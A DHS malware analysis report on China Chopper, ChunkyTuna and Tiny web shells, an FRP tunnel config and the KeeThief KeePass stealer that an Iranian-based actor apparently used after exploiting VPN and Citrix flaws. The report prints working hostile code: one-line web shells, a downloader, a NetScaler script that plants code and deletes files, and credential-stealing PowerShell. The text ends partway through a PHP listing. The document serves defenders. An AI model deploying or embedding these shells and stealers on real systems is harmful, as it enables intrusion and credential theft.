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This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Description

The Iranian-based malicious cyber actor associated to this report is known to target industries associated to information technology, government, healthcare, financial, and insurance across the US. The threat actor has been observed exploiting several publicly known Common Vulnerabilities and Exposures (CVEs) dealing with Pulse Secure virtual private network (VPN), Citrix NetScaler, and F5 vulnerabilities. Once the actor exploits these vulnerabilities, open source web shells and/or modified versions of the web shells are used to further entrench into a victim network. The web shells are publicly known as ChunkyTuna, Tiny, and China Chopper web shells.

This product details the functionality of 19 malicious files including multiple components of the China Chopper web shell, including an application service provider (ASP) application that listens for incoming Hypertext Transfer Protocol (HTTP) connections from a remote operator. The China Chopper web shell will allow the operator to pass and execute JavaScript code on to a victim’s system. The report also details additional China Chopper web shell components that allow the operator more specific command and control (C2) capabilities including the ability to enumerate directories, upload and execute additional payloads, and exfiltrate data.

In addition, a program data (PDB) file and a binary, which has been identified as a compiled version of the open source project known as “FRP”, was also analyzed. FRP allows an adversary to tunnel various types of connections to a remote operator sitting outside of the victim’s network perimeter. In addition, a PowerShell shell script was analyzed that is part of the open source project known as “KeeThief”. This code will allow the operator to access encrypted password credentials stored by the Microsoft “KeePass” password management software.

It appears this adversary utilized these malicious tools to maintain persistent remote access and data exfiltration from the victim’s network. The adversary may have used the “FRP” utility to tunnel outbound Remote Desktop Protocol (RDP) sessions, allowing persistent access to the network from outside the firewall perimeter. The China Chopper web shell also provides the persistent ability to navigate throughout the victim’s network when inside the perimeter. Leveraging the “KeeThief” utility allows access to sensitive user password credentials and potentially the ability to pivot to user accounts outside of the victim’s network.

An additional 7 files contain malicious Hypertext Preprocessor (PHP) code designed to function as malicious web shells, which were identified as ChunkyTuna and Tiny web shells. The purpose of these web shells is to accept commands and data from a remote operator, providing the operator C2 capabilities over a compromised system.

For a downloadable copy of IOCs, see MAR-10297887-1.v1.stix.

Submitted Files (18)

134ef25d48b8873514f84a0922ec9d835890bda16cc7648372e014c1f90a4e13 (site.aspx)

17f5b6d74759620f14902a5cc8bba8753df8a17da33f4ea126b98c7e2427e79c (vti_cnf.aspx.33154034.compiled)

28bc161df8406a6acf4b052a986e29ad1f60cbb19983fc17931983261b18d4ea (App_Web_tcnma5bs.pdb)

2944ea7d0045a1d64f3584e5803cbf3a026bd0e22bdf2e4ba1d28c6ad9e57849 (prev_sh)

3b14d5eafcdb9e90326cb4146979706c85a58be3fc4706779f0ae8d744d9e63c (content)

40d54609acb3f1024ea91b79ca12ecf855e24ebb46d48db86a7bf34edb91b2db (httpgetbin_encoded.vbs)

4a1fc30ffeee48f213e256fa7bff77d8abd8acd81e3b2eb3b9c40bd3e2b04756 (content)

51e9cadeab1b33260c4ccb2c63f5860a77dd58541d7fb0840ad52d0a1abedd21 (df5bd34799e200951fcce77c1c0b42…)

547440bd037a149ac7ac58bc5aaa65d079537e7a87dc93bb92edf0de7648761c (df5bd34799e200951fcce77c1c0b42…)

553f355f62c4419b808e078f3f71f401f187a9ac496b785e81fbf087e02dc13f (ui-bg.aspx)

55b9264bc1f665acd94d922dd13522f48f2c88b02b587e50d5665b72855aa71c (svchost.exe)

5e0457815554574ea74b8973fc6290bd1344aac06c1318606ea4650c21081f0a (App_Web_tcnma5bs.0.js)

8c9aeedeea37ee88c84b170d9cd6c6d83581e3a57671be0ba19f2c8a17bd29f3 (content)

913ee2b048093162ff54dca050024f07200cdeaf13ffd56c449acb9e6d5fbda0 (kee.ps1)

99344d862e9de0210f4056bdf4b8045ab9eabe1a62464d6513ed16208ab068fc (App_Web_tcnma5bs.dll)

b36288233531f7ac2e472a689ff99cb0f2ac8cba1b6ea975a9a80c1aa7f6a02a (tiny_webshell)

b443032aa281440017d1dcc3ae0a70d1d30d4f2f2b3f064f95f285e243559249 (df5bd34799e200951fcce77c1c0b42…)

f7ddf2651faf81d2d5fe699f81315bb2cf72bb14d74a1c891424c6afad544bde (dllhost.dll)

Additional Files (1)

10836bda2d6a10791eb9541ad9ef1cb608aa9905766c28037950664cd64c6334 (KeeTheft.dll)

40d54609acb3f1024ea91b79ca12ecf855e24ebb46d48db86a7bf34edb91b2db

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a small JavaScript file, which contains the following code:

—Begin JavaScript Code—
Set objFSO = CreateObject(“Scripting.FileSystemObject”)
set oHTTP = CreateObject(“Msxml2.ServerXMLHTTP”)
oHTTP.open “GET”, WScript.Arguments.Item(1) ,false
oHTTP.setOption 2, 13056
oHTTP.send
Set objFile = objFSO.OpenTextFile(WScript.Arguments.Item(0), 2, True)
For x = 1 To Len(oHTTP.responseText) Step 2
objFile.Write Chr(Clng(“&H” & Mid(oHTTP.responseText,x,2)))
Next
objFile.Close
—End JavaScript Code—

Analysis indicates this file is part of a larger application, which contains the ability to communicate with a remote server. An HTTP request will be sent and received from the remote server. The data received from the server will be written to a file on disk. The output file name and remote server name will be received as arguments to the script. It is believed this script is a component of the China Chopper web shell framework.

553f355f62c4419b808e078f3f71f401f187a9ac496b785e81fbf087e02dc13f

Tags

trojanwebshell

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a small JavaScript file, which contains the following code:

—Begin JavaScript Code—
@ Page Language=”Jscript”%><%try
{
eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item[“[Redacted]”])),”unsafe”);
}
catch(e)
{
}
—End JavaScript Code—

Analysis indicates this file might serve as part of a larger application. The code within the file decodes and executes data using the JavaScript “eval” function. The data is attained via the JavaScript “Request” function indicating the data is pulled from a remote server using the HTTP protocol. It is believed this script is a component of the China Chopper web shell framework.

134ef25d48b8873514f84a0922ec9d835890bda16cc7648372e014c1f90a4e13

Tags

trojanwebshell

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a small JavaScript file, which contains the following embedded code:

—Begin Embedded JavaScript—
Page Language=”Jscript”%><%try
{
eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item[“ammashnist”])),”unsafe”);
}
catch(e)
{
}
—End Embedded JavaScript—

This script is designed to pull JavaScript from an existing “Request Object”, Base64 decode and execute it. The contents of the retrieved JavaScript code were not available for analysis. It is believed this web shell is a component of the China Chopper web shell framework.

17f5b6d74759620f14902a5cc8bba8753df8a17da33f4ea126b98c7e2427e79c

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a “.compiled” file which was generated during the compilation of an ASP.NET application. It is believed this file was generated during the compilation and execution of a China Chopper web shell application. Although this file cannot be executed, its presence may be considered an indicator of compromise. The file contains the following data.

—Begin Data—
<?xml version=”1.0″ encoding=”utf-8″?>
<preserve resultType=”3″ virtualPath=”/rfq/aspnet_client/system_web/4_0_30319/_vti_cnf.aspx” hash=”825a58a8b” filehash=”445bd1a9fe00″ flags=”110000″ assembly=”App_Web_tcnma5bs” type=”ASP.aspnet_client_system_web_4_0_30319__vti_cnf_aspx”>
   <filedeps>
       <filedep name=”/rfq/aspnet_client/system_web/4_0_30319/_vti_cnf.aspx” />
   </filedeps>
</preserve>
—End Data—

5e0457815554574ea74b8973fc6290bd1344aac06c1318606ea4650c21081f0a

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This application has been identified as a component of a malicious web shell. This script has been tentatively identified as a variant of the China Chopper web shell. Displayed below is the partial JavaScript application extracted from this script:

—Begin Partial JavaScript—
package ASP {
   
   public System.Runtime.CompilerServices.CompilerGlobalScopeAttribute()
   class aspnet_client_system_web_4_0_30319__vti_cnf_aspx extends System.Web.UI.Page implements System.Web.SessionState.IRequiresSessionState, System.Web.IHttpHandler {
       
       private static var __initialized : boolean;
       
       private static var __fileDependencies : System.Object;
       
       public System.Diagnostics.DebuggerNonUserCodeAttribute() function aspnet_client_system_web_4_0_30319__vti_cnf_aspx() {
           var dependencies : System.String[];
           System.Web.UI.Page(this).AppRelativeVirtualPath = “~/aspnet_client/system_web/4_0_30319/_vti_cnf.aspx”;
           if ((ASP.aspnet_client_system_web_4_0_30319__vti_cnf_aspx.__initialized == false)) {
               dependencies = new System.String[1];
               dependencies[0] = “~/aspnet_client/system_web/4_0_30319/_vti_cnf.aspx”;
               ASP.aspnet_client_system_web_4_0_30319__vti_cnf_aspx.__fileDependencies = this.GetWrappedFileDependencies(dependencies);
               ASP.aspnet_client_system_web_4_0_30319__vti_cnf_aspx.__initialized = true;
           }
           this.Server.ScriptTimeout = 30000000;
           
       }
       
       protected final function get Profile() : System.Web.Profile.DefaultProfile {
           return System.Web.Profile.DefaultProfile(this.Context.Profile);
       }
       
       protected override function get SupportAutoEvents() : boolean {
           return false;
       }
       
       protected final function get ApplicationInstance() : ASP.global_asax {
           return ASP.global_asax(this.Context.ApplicationInstance);
       }
       
       private final System.Diagnostics.DebuggerNonUserCodeAttribute() function __BuildControlTree(__ctrl : aspnet_client_system_web_4_0_30319__vti_cnf_aspx) {
           
           //@cc_on
           //@set @position(file=”F:\inetpub\wwwroot\\aspnet_client\system_web\4_0_30319\_vti_cnf.aspx”;line=1)
           this.InitializeCulture();
           
           //@set @position(end)
           __ctrl.SetRenderMethodDelegate(System.Web.UI.RenderMethod(this.__Render__control1));
       }
       
       private final function __Render__control1(__w : System.Web.UI.HtmlTextWriter, parameterContainer : System.Web.UI.Control) {
           
           //@cc_on
           //@set @position(file=”F:\inetpub\wwwroot\\aspnet_client\system_web\4_0_30319\_vti_cnf.aspx”;line=1)
                            try {eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item[“[Redacted]”])),”unsafe”); } catch(e) {}
           
           //@set @position(end)
       }
—End Partial JavaScript—

Analysis indicates it is designed to operate as a web server and accept JavaScript code provided from a remote operator. The password utilized by the remote operator to access this web shell was redacted.

99344d862e9de0210f4056bdf4b8045ab9eabe1a62464d6513ed16208ab068fc

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Relationships

Description

This file is a Windows compiled .NET dynamic link library (DLL) file. It has been identified as a component of a malicious web shell. The DLL has been tentatively identified as a variant of the China Chopper web shell. This malicious DLL contains embedded malicious JavaScript code. A portion of the JavaScript code extracted from the decompiled DLL is displayed below:

—Begin Extracted Code—
private void __Render__control1(HtmlTextWriter __w, Control parameterContainer)
   {
    // ISSUE: type reference
    // ISSUE: type reference
    // ISSUE: type reference
    Microsoft.JScript.StackFrame.PushStackFrameForMethod((object) this, new JSLocalField[3]
    {
       new JSLocalField(nameof (__w), __typeref (HtmlTextWriter), 0),
       new JSLocalField(nameof (parameterContainer), __typeref (Control), 1),
       new JSLocalField(“e:6”, __typeref (object), 2)
    }, ((INeedEngine) this).GetEngine());
    try
    {
       object obj1;
       try
       {
        object[] localVars1 = ((Microsoft.JScript.StackFrame) ((INeedEngine) this).GetEngine().ScriptObjectStackTop()).localVars;
        localVars1[0] = (object) __w;
        localVars1[1] = (object) parameterContainer;
        object obj2;
        localVars1[2] = obj2;
        Eval.JScriptEvaluate((object) Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(this.Request[“[Redacted]”])), ((INeedEngine) this).GetEngine());
        object[] localVars2 = ((Microsoft.JScript.StackFrame) ((INeedEngine) this).GetEngine().ScriptObjectStackTop()).localVars;
        __w = (HtmlTextWriter) localVars2[0];
        parameterContainer = (Control) localVars2[1];
        obj1 = localVars2[2];
       }
       catch (Exception ex)
       {
        VsaEngine engine = ((INeedEngine) this).GetEngine();
        obj1 = Try.JScriptExceptionValue((object) ex, engine);
       }
       object[] localVars = ((Microsoft.JScript.StackFrame) ((INeedEngine) this).GetEngine().ScriptObjectStackTop()).localVars;
       localVars[0] = (object) __w;
       localVars[1] = (object) parameterContainer;
       localVars[2] = obj1;
    }
    finally
    {
       ((INeedEngine) this).GetEngine().PopScriptObject();
    }
—End Extracted Code—

Analysis indicates the password utilized to access this web shell by the remote actor was redacted. This implant will allow a remote operator to execute JavaScript payloads on a victim’s system.

28bc161df8406a6acf4b052a986e29ad1f60cbb19983fc17931983261b18d4ea

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

Description

This file is a program database (PDB) file. This file correlates with compilation of the application named “App_Web_tcnma5bs.dll”(99344d862e9de0210f4056bdf4b8045ab9eabe1a62464d6513ed16208ab068fc). Although this file cannot be executed, its presence may be considered an indicator of compromise. Strings of interest extracted from this PDB life are displayed below:

—Begin Strings of Interest—
F:inetpubwwwroot\aspnet_clientsystem_web4_0_30319_vti_cnf.aspx
f:inetpubwwwroot\aspnet_clientsystem_web4_0_30319_vti_cnf.aspx
C:WindowsMicrosoft.NETFramework64v4.0.30319Configweb.config
c:windowsmicrosoft.netframework64v4.0.30319configweb.config

.ctor
Global Code
System
System.Collections
System.Text
System.Web.UI
System.Collections.Generic
System.Text.RegularExpressions
System.Xml.Linq
System.Web.SessionState
System.Web.Helpers
System.Web.Routing
System.Configuration
System.Collections.Specialized
System.Linq
System.Web
System.Web.DynamicData
System.Web.Caching
System.Web.Profile
System.ComponentModel.DataAnnotations
System.Web.UI.WebControls
System.Web.Mvc.Ajax
System.Web.Security
System.Web.Mvc
System.Web.UI.WebControls.WebParts
System.Web.WebPages
System.Web.Mvc.Html
System.Web.UI.HtmlControls
get_Profile
ASP
System
System.Collections
System.Text
System.Web.UI
System.Collections.Generic
System.Text.RegularExpressions
System.Xml.Linq
System.Web.SessionState
System.Web.Helpers
System.Web.Routing
System.Configuration
System.Collections.Specialized
System.Linq
System.Web
System.Web.DynamicData
System.Web.Caching
System.Web.Profile
System.ComponentModel.DataAnnotations
System.Web.UI.WebControls
System.Web.Mvc.Ajax
System.Web.Security
System.Web.Mvc
System.Web.UI.WebControls.WebParts
System.Web.WebPages
System.Web.Mvc.Html
System.Web.UI.HtmlControls
get_SupportAutoEvents

GetEngine
0600000d
SetEngine
0600000e
ASP.aspnet_client_system_web_4_0_30319__vti_cnf_aspx
87986BFE
__ASP.FastObjectFactory_app_web_tcnma5bs
35A8BE76
JScript 0
1F3114D0
JScript 1
062A2591
C:WindowsMicrosoft.NETFramework64v4.0.30319Configweb.config
F:inetpubwwwroot\aspnet_clientsystem_web4_0_30319_vti_cnf.aspx
T[@
/LinkInfo
/names
/src/headerblock
/src/files/f:inetpubwwwroot\aspnet_clientsystem_web4_0_30319_vti_cnf.aspx
/src/files/c:windowsmicrosoft.netframework64v4.0.30319configweb.config
—End Strings of Interest—

55b9264bc1f665acd94d922dd13522f48f2c88b02b587e50d5665b72855aa71c

Tags

proxy

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Description

This file is a compiled version of the open source utility named FRP. It is an administrative tool, which allows a system inside a router or firewall providing Network Address Translation, to provide network access to systems / operators located outside of the victim’s network. For example, the utility could be utilized to tunnel Secure Shell (SSH) protocol connections from an inside system protected by a firewall and router, to a system outside of the firewall perimeter.

f7ddf2651faf81d2d5fe699f81315bb2cf72bb14d74a1c891424c6afad544bde

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a configuration file, which may be utilized with the FRP binary named “svchost.exe” (55b9264bc1f665acd94d922dd13522f48f2c88b02b587e50d5665b72855aa71c). The contents of the configuration file is displayed below:

—Begin Configuration Data—
[common]
server_addr = [IP address]
server_port = 443
tls_enable = true
token = laksddflko986wq35029735

[Indy [SCCPV01] – RDP]
type = tcp
use_encryption = true
local_ip = [IP address]
local_port = 3389
remote_port = 0
—End Configuration Data—

The protocol tunneled is RDP.

913ee2b048093162ff54dca050024f07200cdeaf13ffd56c449acb9e6d5fbda0

Tags

trojan

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

Description

This file is a malicious PowerShell script. It is part of an open source application. The purpose of this script is to decrypt “keepass” files in an attempt to steal the victim’s password credentials stored on the victim’s system. During runtime, this script decodes and utilizes the .NET executable named “KeeTheft.dll,”(10836bda2d6a10791eb9541ad9ef1cb608aa9905766c28037950664cd64c6334). A portion of the PowerShell script is displayed below:

—Begin Malicious Powershell Code—
#requires -version 2
function Get-KP
{
[CmdletBinding()]
param (
[Parameter(Position = 0,
ValueFromPipeline = $True)]
[System.Diagnostics.Process[]]
[ValidateNotNullOrEmpty()]
$Process
)
BEGIN
{
    if(-not $PSBoundParameters[‘Process’])
    {
    try
    {
        $Process = Get-Process KeePass -ErrorAction Stop | Where-Object
        {
        $_.FileVersion -match ‘^2.’
        }
    }
    catch
    {
        throw ‘NO instances open!’
    }
    }
    $EncodedCompressedFile = ‘tL0HfFzFET/+7’
    $DeflatedStream = New-Object
    IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),
    [IO.Compression.CompressionMode]::Decompress)
    $UncompressedFileBytes = New-Object Byte[](738304)
    $DeflatedStream.Read($UncompressedFileBytes, 0, 738304) | Out-Null
    $Assembly =
    [Reflection.Assembly]::Load($UncompressedFileBytes)
}
PROCESS
{
    ForEach($KeePassProcess in
    $Process)
    {
    if($KeePassProcess.FileVersion -match ‘^2.’)
    {
        $WMIProcess = Get-
        WmiObject win32_process -Filter “ProcessID = $($KeePassProcess.ID)”
        $ExecutablePath =
        $WMIProcess | Select-Object -Expand ExecutablePath
        Write-Verbose “Examining KeePass
        process $($KeePassProcess.ID) for master keys”
        $Keys = $Assembly.GetType
        (‘KeeTheft.Program’).GetMethod(‘GetKeePassMasterKeys’).Invoke($null, @
        ([System.Diagnostics.Process]$KeePassProcess))
        if($Keys)
        {
        ForEach
        ($Key in $Keys)
        {
            ForEach($UserKey in $Key.UserKeys)
            {
            $KeyType = $UserKey.GetType().Name
            $UserKeyObject = New-Object PSObject
            $UserKeyObject | Add-Member Noteproperty ‘Database’ $UserKey.databaseLocation
            $UserKeyObject | Add-Member Noteproperty ‘KeyType’ $KeyType
            $UserKeyObject | Add-Member Noteproperty ‘KeePassVersion’ $KeePassProcess.FileVersion
            $UserKeyObject | Add-Member Noteproperty ‘ProcessID’ $KeePassProcess.ID
            $UserKeyObject | Add-Member Noteproperty ‘ExecutablePath’ $ExecutablePath
            $UserKeyObject | Add-Member Noteproperty ‘EncryptedBlobAddress’ $UserKey.encryptedBlobAddress
            $UserKeyObject | Add-Member Noteproperty ‘EncryptedBlob’ $UserKey.encryptedBlob
            $UserKeyObject | Add-Member Noteproperty ‘EncryptedBlobLen’ $UserKey.encryptedBlobLen
            $UserKeyObject | Add-Member Noteproperty ‘PlaintextBlob’ $UserKey.plaintextBlob
            if($KeyType -eq ‘KcpPassword’)
            {
                $Plaintext =
                [System.Text.Encoding]::UTF8.GetString($UserKey.plaintextBlob)
            }
            else
            {
                $Plaintext = [Convert]::ToBase64String
                ($UserKey.plaintextBlob)
            }
            $UserKeyObject | Add-
            Member Noteproperty ‘Plaintext’ $Plaintext
            if($KeyType -eq ‘KcpUserAccount’)
            {
                try
                {
                $WMIProcess = Get-WmiObject
                win32_process -Filter “ProcessID = $($KeePassProcess.ID)”
                $UserName =
                $WMIProcess.GetOwner().User
                $ProtectedUserKeyPath = Resolve-Path -Path
                “$($Env:WinDir | Split-Path -Qualifier)Users*$UserName*AppDataRoamingKeePassProtectedUserKey.bin”
                -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
                $UserKeyObject | Add-Member Noteproperty ‘KeyFilePath’ $ProtectedUserKeyPath
                }
                catch
                {
                Write-Warning “Error
                enumerating the owner of $($KeePassProcess.ID) : $_”
                }
            }
            else
            {
                $UserKeyObject | Add-Member
                Noteproperty ‘KeyFilePath’ $UserKey.keyFilePath
            }
            $UserKeyObject.PSObject.TypeNames.Insert(0, ‘KeePass.Keys’)
            $UserKeyObject
            }
        }
        }
        else
        {
        Write-Verbose “No keys found for $($KeePassProcess.ID)”
        }
    }
    else
    {
        Write-Warning “Only KeePass 2.X is supported at this time.”
    }
    }
}
—End Malicious Powershell Code—

10836bda2d6a10791eb9541ad9ef1cb608aa9905766c28037950664cd64c6334

Tags

trojan

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Relationships

Description

This file is a Windows executable written in the .NET programming language. This binary has been identified as the KeyTheft application, which is part of the “KeeThief” open source project. The primary purpose of this executable is to assist in the stealing of password credentials from the “KeePass Password Safe” password management utility software. Using this malware, an operator will be able to decrypt and extract passwords from a “KeePass” safe, allowing access to sensitive user data and possibly the ability pivot to the victim’s user accounts outside of the victim’s network.

Screenshots

51e9cadeab1b33260c4ccb2c63f5860a77dd58541d7fb0840ad52d0a1abedd21

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a component of a malicious web shell. It contains two PHP code blocks. The first block extracts information from a dictionary data structure named “$_FILES”. Analysis indicates the script extracts provided file data, such as file name, file type, file size, and the files in a temporary location. The block then calls a function named “move_uploaded_files”. This PHP block is presumably utilized by a web shell framework to allow a remote operator to move uploaded files to a new location on the compromised system. The code contained in the function “move_uploaded_file” was not available for analysis.

The second PHP script block parses the variable $_GET for the value associated with the “cmd” key value. This value is then executed on the target system using the “system()” function. This PHP block is utilized by a web shell framework to allow a remote operator to remotely execute commands on a compromised system. Displayed below is the (partial) code contained within this file:

—Begin PHP Script—
if ($_FILES[“file”][“error”] > 0)
{
echo “Error: ” . $_FILES[“file”][“error”] . “<br>”;
}
else
{
echo “FILENAME: ” . $_FILES[“file”][“name”] . “<br>”;
echo “FILETYPE: ” . $_FILES[“file”][“type”] . “<br>”;
echo “FILETYPE: ” . ($_FILES[“file”][“size”] / 1024) . ” kB<br>”;
echo “FILETEMPPATH: ” . $_FILES[“file”][“tmp_name”] . ” <br>”;
move_uploaded_file($_FILES[“file”][“tmp_name”], $_FILES[“file”][“name”]);
}
?>
<textarea name=”textarea” cols=”100″ rows=”25″ readonly>
<?php
if (strlen($_GET[“cmd”]) > 0)
{
    system($_GET[“cmd”]);
}
—End PHP Script—

547440bd037a149ac7ac58bc5aaa65d079537e7a87dc93bb92edf0de7648761c

Tags

backdoortrojanwebshell

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a part of a larger malicious web shell framework. It is designed to extract data contained within a Request object, Base64 decode the data associated with a redacted parameter, and then execute this data on the compromised system. The data is executed using the “eval()” function indicating it is expected to be a malicious JavaScript payload. The (partial) JavaScript contained within this file is displayed below:

—Begin Extracted JavaScript—
<%@ Page Language=”Jscript”%><%try {eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item[“[Redacted]”])),”unsafe”); } catch(e) {}%>
—End Extracted JavaScript—

b443032aa281440017d1dcc3ae0a70d1d30d4f2f2b3f064f95f285e243559249

Tags

backdoor

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a malicious PHP script. The PHP block contained within this script retrieves data from the “k0” key contained within the local “$_POST” variable. This data is then immediately executed on the compromised system utilizing the “system()” function. This tiny script is utilized to allow an operator to remotely execute commands on a compromised system. The (partial) code contained within the script is displayed below:

—Begin PHP Script—
php system($_POST[“k0”]);
—End PHP Script—

2944ea7d0045a1d64f3584e5803cbf3a026bd0e22bdf2e4ba1d28c6ad9e57849

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file contains bash shell scripting code. The shell script is displayed below:

—Begin Shell Script—
cd /netscaler/portal/scripts;
for f in tips.pl themes.pl navthemes.pl rmbm.pl picktheme.pl newbm.pl savecolorprefs.pl subscription.pl PersonalBookmark.pl;

do if [ -f $f ] && ! grep “/\\/\\.\\.\\// .*df5bd34799e200951fcce77c1c0b42af” $f;

then sed -i .bk ‘s:use vars.*:use vars qw (%c);

if($ENV{REQUEST_URI} =~ /\/\.\.\// && $ENV{REQUEST_URI} !~ /df5bd34799e200951fcce77c1c0b42af/)

{my $d=”/netscaler/portal/templates”;

opendir(D,$d);

while(my $f=readdir(D))
{if($f =~ /.xml/i)
{unlink(“$d/$f”);}}
closedir(D);
exit 0;}:’

$f;

fi;

done;

rm -f *.b”
—End Shell Script—

Analysis indicates this shell script attempts to read the following system scripts contained on a victim’s netscaler device and modify them if specific content is not present within the scripts:

—Begin Modified Perl Scripts—
tips.pl
themes.pl
navthemes.pl
rmbm.pl
picktheme.pl
newbm.pl
savecolorprefs.pl
subscription.pl
PersonalBookmark.pl
—End Modified Perl Scripts—

The netscaler system perl scripts, modified by this application, were not available for analysis.

The malware searches the perl scripts using an IF statement, which contains a REGEX rule ensuring the perl script does not contain the string *df5bd34799e200951fcce77c1c0b42af”. If the string is not present in the script, the malware will execute the following SED command which appears to add executable code to the system perl scripts:

—Begin SED Command—
sed -i .bk ‘s:use vars.*:use vars qw (%c);

if($ENV{REQUEST_URI} =~ /\/\.\.\// && $ENV{REQUEST_URI} !~ /df5bd34799e200951fcce77c1c0b42af/)

{my $d=”/netscaler/portal/templates”;

opendir(D,$d);

while(my $f=readdir(D))
{if($f =~ /.xml/i)
{unlink(“$d/$f”);}}
closedir(D);
exit 0;}:’
—End SED Command—

Analysis of the code above indicates it will clear out all files in the “/netscaler/portal/templates” directory matching the regex rule “/.xml/i” if the systems “$ENV(REQUEST_URI)” variable does not contain the string “df5bd34799e200951fcce77c1c0b42af”. This code modification appears to be utilized as part of a technique to ensure the systems “$ENV{REQUEST_URI}” variable continues to point to a web application with the file name containing the string “df5bd34799e200951fcce77c1c0b42af”.

This report contains the following web shell applications that contain the string “df5bd34799e200951fcce77c1c0b42af” in the file’s name:

–Begin Files–
df5bd34799e200951fcce77c1c0b42af.php    (51e9cadeab1b33260c4ccb2c63f5860a77dd58541d7fb0840ad52d0a1abedd21)
df5bd34799e200951fcce77c1c0b42af_y.php (547440bd037a149ac7ac58bc5aaa65d079537e7a87dc93bb92edf0de7648761c)
df5bd34799e200951fcce77c1c0b42af_z.php (b443032aa281440017d1dcc3ae0a70d1d30d4f2f2b3f064f95f285e243559249)
–End Files–

These web shell applications provide an operator remote C2 access over a victim’s system.

b36288233531f7ac2e472a689ff99cb0f2ac8cba1b6ea975a9a80c1aa7f6a02a

Tags

backdoortrojanwebshell

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file contains a small PHP script block that is designed to receive a web POST, extract and Base64 decode its contents, and then execute this data on the compromised system. The code contained within this file is displayed below:

—Begin File Data—
php @eval(base64_decode($_POST[‘citrix@[Redacted]’]));?>
—End File Data—

As illustrated within this data, the POST parameter utilized to deliver data to the script block is expected to be “citrix@[Redacted]”. It is believed this script is related to the Tiny web shell.

8c9aeedeea37ee88c84b170d9cd6c6d83581e3a57671be0ba19f2c8a17bd29f3

Tags

remote-access-trojanwebshell

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a modified copy of the open source web shell known as Chunky Tuna and provides a remote operator C2 capabilities over a compromised system. Displayed below is some of the code extracted from this script:

—Begin Extracted Code—
$headers = getallheaders();
// if the header doesn’t match the key
if (array_key_exists(‘X-Pwd’, $headers) && $headers[‘X-Pwd’] !== “Ddzq1Mg6rIJDCAj7ch78vl3ZEGcXnqKjs97gs5y”) {
_log(“wrong pwd: “);
die();
}
// NOP, for setting cookies
if (array_key_exists(‘X-Nop’, $headers) && $headers[“X-Nop”] === “1”) {
_log(“[X-Nop] Request”.print_r($headers,true));
return;
}

// determine operation type
if (array_key_exists(‘X-Type’, $headers)) {
$opType = $headers[“X-Type”];
} else {
$opType = “”;
}

—————————

while ($continue) {
        $read = array($pipes[1], $pipes[2]);
        // $write = array($pipes[0]);
        $write = NULL;
        $except = NULL;

        @session_start();
        if ($_SESSION[“data”] != “”) {
            _log(“Got data!”);
            // write it
            fwrite($pipes[0], $_SESSION[“data”]);
            // wipe it
            $_SESSION[“data”] = “”;
            $activity_time = microtime(true);
        }
        session_write_close();
        $ss = stream_select($read, $write, $except, $tv_sec = 0, $tv_usec =50000);

        // bleh. not the best inactivity timeout…
        $now = microtime(true);
        if ($now – $activity_time > 30) {
            $continue = false;
            _log(“Max inactivity time exceeded”);
            break;
        }

        // _log(stream_get_contents($pipes[1]));
        // next round
        if ($ss === 0) continue;

        if ($ss === false) {
            _log(“nServer shutting down”);
            $continue = false;
            break;
        }
        if ($ss < 1) {
            _log(“nNothing to do”);
            continue;
        }
—End Extracted Code—

Figures 5 and 6 contain similar code from the open source Chunky Tuna web shell.

Screenshots

3b14d5eafcdb9e90326cb4146979706c85a58be3fc4706779f0ae8d744d9e63c

Tags

webshell

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file contains a single PHP script block. The script is designed to listen for incoming HTTP GET connections. The script will extract data from the ‘u’ parameter, and place it into a variable named “$username”. The script will also extract data from the ‘p’ parameter, and place it into a variable named “$password”. This data is then placed into the function “file_put_contents”, along with the static string “netscaler.1”. It appears this malicious web shell is designed to allow a remote operator to remotely add accounts to a compromised NetScaler device. This file contains the following (partial) PHP script code:

—Begin PHP Code—
php
$username= $_GET[‘u’];
$password= $_GET[‘p’];
if ($username !=”undefined”){
file_put_contents(“netscaler.1” , “Username:”.$username.PHP_EOL ,FILE_APPEND);
file_put_contents(“netscaler.1” , “Password:”.$password.PHP_EOL ,FILE_APPEND);
